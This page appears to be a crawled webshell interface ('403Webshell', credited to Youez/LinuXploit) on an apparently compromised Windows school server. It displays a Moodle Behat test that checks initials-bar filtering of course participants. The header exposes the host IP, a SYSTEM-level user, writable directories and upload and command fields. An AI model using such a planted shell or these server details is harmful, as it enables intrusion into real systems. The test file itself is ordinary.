403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/tuprblearn/lib/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/tuprblearn/lib/tests/behat/alpha_chooser.feature
@core
Feature: Initials bar
  In order to filter users from user list
  As an admin
  I need to be able to use letter filters

  Background:
    Given the following "users" exist:
      | username  | firstname | lastname | email                 |
      | teacher   | Ateacher  | Teacher  | [email protected]   |
      | student1  | Astudent  | Astudent | [email protected]  |
      | student2  | Bstudent  | Astudent | [email protected]  |
      | student3  | Cstudent  | Cstudent | [email protected]  |
      | student4  | Cstudent  | Cstudent | [email protected]  |
      | student5  | Cstudent  | Cstudent | [email protected]  |
      | student6  | Cstudent  | Cstudent | [email protected]  |
      | student7  | Cstudent  | Cstudent | [email protected]  |
      | student8  | Cstudent  | Cstudent | [email protected]  |
      | student9  | Cstudent  | Cstudent | [email protected]  |
      | student10 | Cstudent  | Cstudent | [email protected] |
      | student11 | Cstudent  | Cstudent | [email protected] |
      | student12 | Cstudent  | Cstudent | [email protected] |
      | student13 | Cstudent  | Cstudent | [email protected] |
      | student14 | Cstudent  | Cstudent | [email protected] |
      | student15 | Cstudent  | Cstudent | [email protected] |
      | student16 | Cstudent  | Cstudent | [email protected] |
      | student17 | Cstudent  | Cstudent | [email protected] |
      | student18 | Cstudent  | Cstudent | [email protected] |
      | student19 | Cstudent  | Cstudent | [email protected] |
      | student20 | Cstudent  | Cstudent | [email protected] |
      | student21 | Cstudent  | Cstudent | [email protected] |
      | student22 | Cstudent  | Cstudent | [email protected] |
      | student23 | Cstudent  | Cstudent | [email protected] |
      | student24 | Cstudent  | Cstudent | [email protected] |

    And the following "courses" exist:
      | fullname | shortname | category |enablecompletion |
      | Course 1 | C1        | 0        | 1               |
    And the following "course enrolments" exist:
      | user      | course | role           |
      | teacher   | C1     | editingteacher |
      | student1  | C1     | student        |
      | student2  | C1     | student        |
      | student3  | C1     | student        |
      | student4  | C1     | student        |
      | student5  | C1     | student        |
      | student6  | C1     | student        |
      | student7  | C1     | student        |
      | student8  | C1     | student        |
      | student9  | C1     | student        |
      | student10 | C1     | student        |
      | student11 | C1     | student        |
      | student12 | C1     | student        |
      | student13 | C1     | student        |
      | student14 | C1     | student        |
      | student15 | C1     | student        |
      | student16 | C1     | student        |
      | student17 | C1     | student        |
      | student18 | C1     | student        |
      | student19 | C1     | student        |
      | student20 | C1     | student        |
      | student21 | C1     | student        |
      | student22 | C1     | student        |
      | student23 | C1     | student        |
      | student24 | C1     | student        |

  Scenario: Filter users on assignment submission page
    Given the following "activities" exist:
      | activity | course | idnumber | name           | intro                       | assignsubmission_onlinetext_enabled | assignsubmission_file_enabled |
      | assign   | C1     | assign1  | TestAssignment | Test assignment description | 0                                   | 0                             |
    And I am on the "assign1" "Activity" page logged in as "teacher"
    When I navigate to "View all submissions" in current page administration
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should see "Cstudent Cstudent"
    And I click on "A" "link" in the ".initialbar.lastinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I click on "B" "link" in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should not see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I am on the "assign1" "Activity" page
    When I navigate to "View all submissions" in current page administration
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should not see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I click on "All" "link" in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I click on "All" "link" in the ".initialbar.lastinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should see "Cstudent Cstudent"

  Scenario: Filter users on view gradebook page
    Given the following "activities" exist:
      | activity | course | idnumber | name           | intro                       | assignsubmission_onlinetext_enabled | assignsubmission_file_enabled |
      | assign   | C1     | assign1  | TestAssignment | Test assignment description | 0                                   | 0                             |
    And I am on the "assign1" "Activity" page logged in as "teacher"
    When I navigate to "View all submissions" in current page administration
    And I select "View gradebook" from the "jump" singleselect
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should see "Cstudent Cstudent"
    And I click on "A" "link" in the ".initialbar.lastinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I click on "B" "link" in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should not see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I am on the "assign1" "Activity" page
    When I navigate to "View all submissions" in current page administration
    And I select "View gradebook" from the "jump" singleselect
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should not see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I click on "All" "link" in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I click on "All" "link" in the ".initialbar.lastinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should see "Cstudent Cstudent"

  Scenario: Filter users on course participants page
    Given the following "activities" exist:
      | activity | course | idnumber | name           | intro                       | assignsubmission_onlinetext_enabled | assignsubmission_file_enabled |
      | assign   | C1     | assign1  | TestAssignment | Test assignment description | 0                                   | 0                             |
    And I am on the "C1" "Course" page logged in as "student1"
    And I log out
    And I am on the "C1" "Course" page logged in as "student2"
    And I log out
    And I am on the "C1" "Course" page logged in as "teacher"
    And I follow "Participants"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should see "Cstudent Cstudent"
    And I click on "A" "link" in the ".initialbar.lastinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I click on "B" "link" in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should not see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I am on "Course 1" course homepage
    And I follow "Participants"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should not see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I click on "All" "link" in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I click on "All" "link" in the ".initialbar.lastinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should see "Cstudent Cstudent"

  @javascript
  Scenario: Filter users on activity completion page
    Given the following "activities" exist:
      | activity | course | idnumber | name           | intro                       | assignsubmission_onlinetext_enabled | assignsubmission_file_enabled |
      | assign   | C1     | assign1  | TestAssignment | Test assignment description | 0                                   | 0                             |
    And I am on the "assign1" "Activity" page logged in as "admin"
    And I navigate to "Edit settings" in current page administration
    And I expand all fieldsets
    And I set the field "Completion tracking" to "1"
    And I click on "Save and return to course" "button"
    And I navigate to "Course completion" in current page administration
    And I expand all fieldsets
    And I click on "Assignment - TestAssignment" "checkbox"
    And I click on "Save changes" "button"
    And I log out
    And I am on the "C1" "Course" page logged in as "teacher"
    And I navigate to "Reports > Activity completion" in current page administration
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should see "Cstudent Cstudent"
    And I click on "A" "link" in the ".initialbar.lastinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I click on "B" "link" in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should not see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I am on "Course 1" course homepage
    And I navigate to "Reports > Activity completion" in current page administration
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should not see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I click on "All" "link" in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should not see "Cstudent Cstudent"
    And I click on "All" "link" in the ".initialbar.lastinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.firstinitial" "css_element"
    And ".initialbarall.page-item.active" "css_element" should exist in the ".initialbar.lastinitial" "css_element"
    And ".page-item.active.B" "css_element" should not exist in the ".initialbar.firstinitial" "css_element"
    And ".page-item.active.A" "css_element" should not exist in the ".initialbar.lastinitial" "css_element"
    And I should see "Astudent Astudent"
    And I should see "Bstudent Astudent"
    And I should see "Cstudent Cstudent"

Youez - 2016 - github.com/yon3zu
LinuXploit